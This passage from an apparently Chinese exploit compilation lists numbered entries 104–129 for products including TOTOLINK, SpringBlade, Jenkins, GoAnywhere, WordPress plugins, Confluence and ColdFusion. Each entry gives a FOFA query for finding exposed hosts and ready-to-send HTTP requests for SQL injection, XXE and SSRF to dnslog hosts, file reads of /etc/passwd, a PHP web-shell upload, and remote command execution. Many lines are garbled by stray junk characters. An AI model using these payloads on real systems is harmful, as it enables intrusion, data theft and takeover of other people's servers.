( I( M, U+ V" jSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
+ s% `3 r0 I4 L, x5 r1 Y+ i

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
" `" R  w+ C. P; S: Y) a# V- WCVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
% h  P& [- O# T6 H  ^$ P, OHost:192.168.0.1
5 C5 S) S1 x" j+ ~/ \' Q1 pContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
/ o$ {; Z. n$ W2 R5 j5 V( H! QX-Requested-with: XMLHttpRequest
( V+ H  y% g) J# m  L% pUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
4 d3 H, x& B9 y- ~, K1 \Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
2 g5 X: Q% A: |Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
! A5 V7 M$ |1 a- Z
{
1 [6 p, k3 ^7 l3 v& R9 E"topicurl":"getSysStatusCfg",
' m4 V* V, C& q2 s; Y"token":""
}
( y6 ^5 l. W7 B7 M% k
9 O- l3 v: G  l* G0 L105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
: v3 F& S, m3 \/ p& i% A3 ]http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

7 f4 e# F) s, q, {106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
6 D: e/ O, B' p) s& _0 U9 M$ ~Host: your-ip
/ y) a; Z6 }# jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( L0 ]& c3 H7 z( i4 xBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
" [4 g( b" |  q' FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

7 [* R; J4 I3 L5 D
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
6 o: @& K: F! x. a4 `# OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
$ x( h, a: c0 J; y( }FOFA："dtale/static/images/favicon.png"
6 W7 ]! h, h7 {; S: L) \/ @( H$ \GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
- B* I1 o) j2 J4 r' c3 @/ ^% C% YHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
" l7 u( |' a& U" \& N4 k

7 T+ H! i9 z% q8 [3 m109. Jenkins CLI 任意文件读取
% z& I7 M9 M  H  Y/ ?0 zCVE-2024-23897
& b* |& V7 [8 E* M5 PFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
4 l2 e9 O0 U/ Z& ?( PSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
5 A( z/ L- A0 F: VSide: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


5 B5 b" ^- a3 R0 V: o- y: ~5 B+ VPOST /cli?remoting=false HTTP/1.1
* c/ x) [) G, [* lHost:
9 W2 I, w. {& ]  W9 y6 r) ASession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
# |: T0 O, r( M0 {download
% y* f0 Q9 m' a8 n. k: H# QContent-Type: application/x-www-form-urlencoded
Content-Length: 0
% @  n# F  m" G* Y6 R
8 `. q7 a4 N. ~) c  t0 X$ p
- G7 _0 H; W2 N  }7 }# b) ^ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
" T) R" B2 C% ]' M' p. D& j" Ejava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
3 t. x  r: j0 u% n/ w/ ^2 b7 n

1 V) U- w. I: @110. Goanywhere MFT 未授权创建管理员
0 X  ^  [3 W4 k, m& XCVE-2024-0204
, l$ O" p6 m6 y7 M2 u: }5 q) BFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
  f; b, M0 S" I8 C6 A# ^Accept-Encoding: gzip
$ b2 H. |& {+ R/ z& b2 a
3 X; M0 n& c+ R0 t# \+ F2 e) j% D
* f1 G9 m2 T. B$ Z4 J4 H! ^0 ^111. WordPress Plugin HTML5 Video Player SQL注入
; T) \- Q$ k* U2 BCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
/ {7 w, R- F; {GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
; l1 b/ a. f3 J# y4 ~2 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
+ `6 E* S: Y+ YAccept-Language: en
Accept-Encoding: gzip
+ c% H+ r% ?  E8 N: E3 f
) j% \6 u* x9 \1 r$ D4 j
7 y- _8 S: w& |  k% \4 L+ h% ]112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
, K& S  [- x$ D; ^% C& L4 ^POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
$ U& I- P8 ?7 }6 \4 tContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
' P2 W0 x: U5 F# v$ X

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
( h# a* x/ ^# I+ k. ?& iFOFA："/wp-content/plugins/wp-automatic"
9 J) z1 _$ k% k( Y) |GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
7 z3 w5 P. r6 D0 o. Y! A# wUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
" \* }6 j9 m$ F2 OAccept: */*
Accept-Language: en
Accept-Encoding: gzip

3 V6 B2 D! `" A" @3 e/ G
7 j2 S+ G, Q% Z9 m114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
7 c7 E5 O- g) p  THost: your-ip
" N% _; E) s' ]User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* Q8 D1 o* Q1 U" O' v) tAccept-Charset: utf-8
: b" U) e9 X; j3 [3 P: dAccept-Encoding: gzip, deflate
Connection: close
( X4 [9 \3 A0 |
6 ~5 |, I; {( L& }2 v' n% w
& W2 _  f$ k7 P% X115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
4 `  k; ~4 n( Q5 p; W& uFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
5 D5 |) F" h# }5 CGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
' Q5 S+ }2 h7 C0 C/ G" \- _

第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
/ g. u4 ~8 x1 |: mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
- g4 e% n6 J9 N" ?/ aContent-Length: 356
Content-Type: application/json
) W+ s8 N/ H7 W0 ^2 ^Accept-Encoding: gzip

1 Q- H; B+ a8 d. z{
5 ~$ C  U& e2 u"postId": "1",
  "nonce": "第一步获得的值",
1 I8 \( ]- r# f( r0 b! q  "element": {
* P6 e" l/ b2 |4 [6 Z6 d1 t    "name": "container",
3 u" ~& H: j  j# z    "settings": {
      "hasLoop": "true",
* B2 ~8 ~6 {% y% f. x6 |' d      "query": {
* |6 Y+ J! y/ |; |1 Y& g8 y        "useQueryEditor": true,
* g) L' |! w7 |9 _+ @9 U        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
) M# w6 c1 O. t+ w  }
: X: [  t) h: Q7 e6 [1 D}


116. wordpress js-support-ticket文件上传
) j: b2 V/ L+ K0 k, \FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
" \1 W' K- [! L7 m4 P+ S* f# Iconfiguration_saveconfiguration
----------767099171
' z1 Z: o$ I9 w4 _' nContent-Disposition: form-data; name="form_request"
; A' K, E% H4 K9 wjssupportticket
----------767099171
2 L( E' ^. z! u) CContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--


; }8 p- v, M3 x117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  @( p; ~2 v0 w  }; SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 J( c, |( r, }3 d7 cAccept-Encoding: gzip, deflate, br
# i, ^5 |1 I5 CConnection: close
  p) L, h) ~4 _( q7 TUpgrade-Insecure-Requests: 1


6 y" u' _% M& h8 m$ t9 r118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
. J1 n0 p( }$ }% @8 r7 V3 |FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
" {! q( x1 A' x( }1 @. S2 o1 wHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
, e" ^4 k4 R- {! B' p( Q& ]5 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 Q3 a8 v; o1 p4 R7 c8 r! cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: O  f6 k8 I* I) aAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
3 X2 I% M& a" E3 g5 ~& ^Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
% @5 }2 V3 Z! s; x+ m4 zUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
) A. F. e6 B7 N6 \, x! u: ]Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
  ^! H; a3 U# k- F& ?Sec-Fetch-User: ?1
$ D' ^8 v8 d4 L" aTe: trailers
Connection: close
  C% o' x7 Q' ]$ g8 C9 Q( u& m
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
3 K  X# D! E5 J& j1 p; wContent-Type: application/octet-stream

+ U+ _$ P# z# j<?php
1 Y% e" S0 D: U' i/ g- ssystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
* [5 G: L' Y) r% g; w; u5 Y
$ w4 x1 \! }* s  V0 g/ y( {) u$ G/home/src.php
8 _9 t' F; h# T( r! ]2 y-----------------------------13979701222747646634037182887--

4 c# G1 W- V: {; h( m7 L
访问/home/src.php

+ D! r* E8 d6 ]8 o% M1 m8 Y119. 北京百绰智能S20后台sysmanageajax.php sql注入
' r. B  l7 ?! O) }& B" I* fCVE-2024-1254
FOFA：title="Smart管理平台"
! z- t0 [7 _8 }* u0 r先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
9 S  G9 P$ {( Y% s0 S  b! ~9 `Host: x.x.x.x
' L' n1 c+ Q" p: J8 s$ c% pCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
0 F+ T5 _9 P! SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
3 }% O  A$ [) KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
& R- _# {! j; s5 I4 `Content-Length: 109
0 T/ {2 O7 N1 G5 [: MOrigin: https://58.18.133.60:8443
7 q' u, Q7 e1 g8 V% ^4 [/ MReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
' {7 v1 H- v  a2 v3 [+ ^! RSec-Fetch-Mode: cors
/ ~- ^, V2 W& V1 M" BSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
( n5 ^" s) D" ~* B+ ^X-Originating-Ip: 1.1.1.1
9 v1 W# P/ w6 s' k/ Y. l" V4 }X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
# W: B) B" e5 [; S. b4 AConnection: close
" |$ H8 h: N+ o+ P! V' S( C  K& j
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
+ L+ }" S: M* t$ gCVE-2024-1253
9 [/ o2 M( S& R+ o/ U3 T5 c# ?) oFOFA：title="Smart管理平台"
) n5 o- X; Q$ z# d1 sPOST /useratte/web.php? HTTP/1.1
9 A6 d' W- f$ ^Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
! y7 B3 x7 ]/ q$ jUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
+ q+ D5 [4 r* c( J( MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ E( q& n3 O3 ]0 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
; a1 ?; n1 O# |) _2 v, R3 C6 bContent-Length: 597
' M, M  n  m# h0 v. E" tOrigin: https://ip:port
6 [. l$ P; j4 _3 {Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
6 i4 N  l4 R) w- NSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( r: N; t$ D+ M* NSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: m- }) ^  K7 n" l% P- pConnection: close

6 ]. S# z& O- m4 ?' u+ B-----------------------------42328904123665875270630079328
$ [9 [* f6 Q' v+ XContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

0 j& z/ A. M; r<?php phpinfo()?>
! \  ]* p0 I& f  ~5 _6 v# V/ r-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
2 U" o( F0 M8 c
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
3 r* }) H- Z7 V- Y2 n9 \
. ?# K0 i7 K' V4 L1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
  P1 Q: m' c7 I% G2 a7 |-----------------------------42328904123665875270630079328

0 M; W2 C2 B# k8 p! q. K9 A5 m4 G
文件路径/upload/2.php
" r3 L/ \/ L9 }4 f
6 b- Z: j& m  Z/ c( i121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
+ s1 ^0 [$ D% ?- VFOFA：title="Smart管理平台"
9 V( x4 `# Q8 ?4 W. ]4 z+ k9 T3 EPOST /useratte/userattestation.php HTTP/1.1
' l4 `% x) ^# n* ?Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: l" D+ Z' h! T. |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& D, r$ ^1 m% CContent-Length: 592
( S- J! |$ p& r2 i  @# SOrigin: https://192.168.40.130:8443
1 {, r% B9 l) s" g% c! D' ?4 j8 kUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
; a" _7 H* R6 T3 M6 G6 _+ {2 |3 HSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
) F2 @$ i) j( Y1 G! ~* OTe: trailers
; h$ G" ?7 ?, v9 ~: _* o4 hConnection: close

5 n1 h+ D. ~8 o3 B/ A-----------------------------42328904123665875270630079328
0 E! k( x" n; e& J1 q* m. QContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

& A/ {4 ^" }# \& h; g# n) Q2 Q<?php phpinfo();?>
-----------------------------42328904123665875270630079328
0 D; z  `8 m6 C% l: |- {2 N. E- FContent-Disposition: form-data; name="id_type"
  E4 @+ I- c/ k+ \5 w7 y
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
* e; d1 \4 D- s9 z7 I) @Content-Disposition: form-data; name="hidwel"

set
) r6 w4 b! ]* j% G-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
, p/ m+ ~. d- h; B其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
# \0 T/ T2 R. k( S4 C) tHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
+ ]8 {8 F+ @3 F5 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 S9 g3 ]( v) f1 d/ E! vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, _$ o2 d. G5 P( K' ]Sec-Fetch-Site: none
7 G2 ?1 ^* T+ r3 r. r: B. QSec-Fetch-User: ?1
; P- R. w( ^0 e) Q( `Te: trailers
/ \4 g) z2 r. f6 f( mConnection: close
+ o$ U4 G; Q' \

0 Q6 V( r4 M+ }  s+ G& {123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
$ t2 x: s& b/ d4 kAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
+ R( m9 t5 s8 C& [# J( xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
" W9 o) J4 ?$ [. b- H, l- AConnection: close
. N$ F; f4 j& G: cContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

  O, ~3 W- x# H  M/ t1 U/ B0 l
124. 湖南建研工程质量检测系统任意文件上传
) r* r$ @% I1 }' DFOFA：body="/Content/Theme/Standard/webSite/login.css"
* N" J/ U$ K  d  _! ~$ D/ [8 WPOST /Scripts/admintool?type=updatefile HTTP/1.1
8 |: g" e  e9 f) H1 p8 BHost: 192.168.40.130:8282
/ @/ j, A; K' ]8 j* UUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 F& `/ O, f+ ]& Y5 q/ rContent-Length: 72
3 ~! x9 p8 @- gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
3 L& ^* m4 x3 P. a7 o! G8 S  e+ kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" k4 q: w  ~. v- X% o+ `1 u- ^Connection: close
Content-Type: application/x-www-form-urlencoded

5 Z6 B& _2 j5 r$ x0 ffilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

1 _! f/ c) S5 q0 G& j: H
http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
% |& r: Q$ r: L8 O. f1 pCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
# @- x  K2 `5 C, _" Y, W' H
  z, }% D5 ^6 \" g0 q
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
. ~# C8 ]4 `) @% v' Z9 w
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 t1 R/ {. G: H- X* pConnection: close
$ V- e7 ?  E. L3 X$ OAccept: */*
Accept-Language: en
Accept-Encoding: gzip


+ A/ t) z6 e( x0 m; f  E127. 广联达Linkworks DataExchange.ashx XXE
2 w$ ^4 f( Y! V0 Y  `2 s# F  eFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
: o5 u- Z; x  |1 d8 c; N9 BContent-Length: 415
' [% x; Z/ h4 I/ N( ?4 }, qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" ^+ B8 Q0 C( ]8 ]( T2 MAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
# v# y$ W# B. c, E/ S2 sPurpose: prefetch
. D8 H9 [5 m' W$ {0 F: b: [& jSec-Purpose: prefetch;prerender
$ C" p/ K, P# m8 M
------WebKitFormBoundaryJGgV5l5ta05yAIe0
! q1 o) w% j  Z: OContent-Disposition: form-data;name="SystemName"

) ^8 _$ \0 K8 w# k# ABIM
% D; e7 Z0 N5 M; O" K+ f$ n------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
5 i7 U! G% H$ [  `" _
; v* f' n1 i1 C3 Y<?xml version="1.0" encoding="UTF-8"?>
; p1 f# F8 x& r" `3 i<!DOCTYPE test [
8 A0 {9 C3 h; U- p0 Z<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 t! Q; Z1 g  R) K* h, x) m4 p]
>
* F3 S  L: X* j5 M$ T$ F9 j5 ^; Y8 H<test>&t;</test>
) B$ J7 Q0 Y6 A7 c9 X+ C------WebKitFormBoundaryJGgV5l5ta05yAIe0--
- |* C9 s: e/ P  F9 `4 p. R


' F, Q$ ]* k5 f! z, D128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
2 o, @1 l3 p$ Q$ M( ?# EFOFA：app="Adobe-ColdFusion"
PAYLOAD

  m# e( Z" K9 x129. Adobe ColdFusion 任意文件读取
/ [6 A+ q6 V8 ?, S: Y. @" U9 z, {CVE-2024-20767
1 u2 `5 H& |$ Q4 v! m& uFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
' [0 ^4 {' u% z& P% x第一步，获取uuid
% [( T: s+ Z/ L$ h) a7 yGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
/ p. v7 b3 H. |7 H3 k4 Z1 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: w1 w6 m/ `: ?9 |" }  I, IAccept: */*
Accept-Encoding: gzip, deflate
Connection: close

9 C. h5 L( a: }0 U9 j& R
第二步，读取/etc/passwd文件
% G4 }( N' k1 w: K0 gGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
' ?. R2 U+ q# @( g" c0 ~' ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- y( ?) I6 c! e5 y9 ~5 M. N" w1 JAccept: */*
; w3 O% q* h% u, q6 M  Y  NAccept-Encoding: gzip, deflate
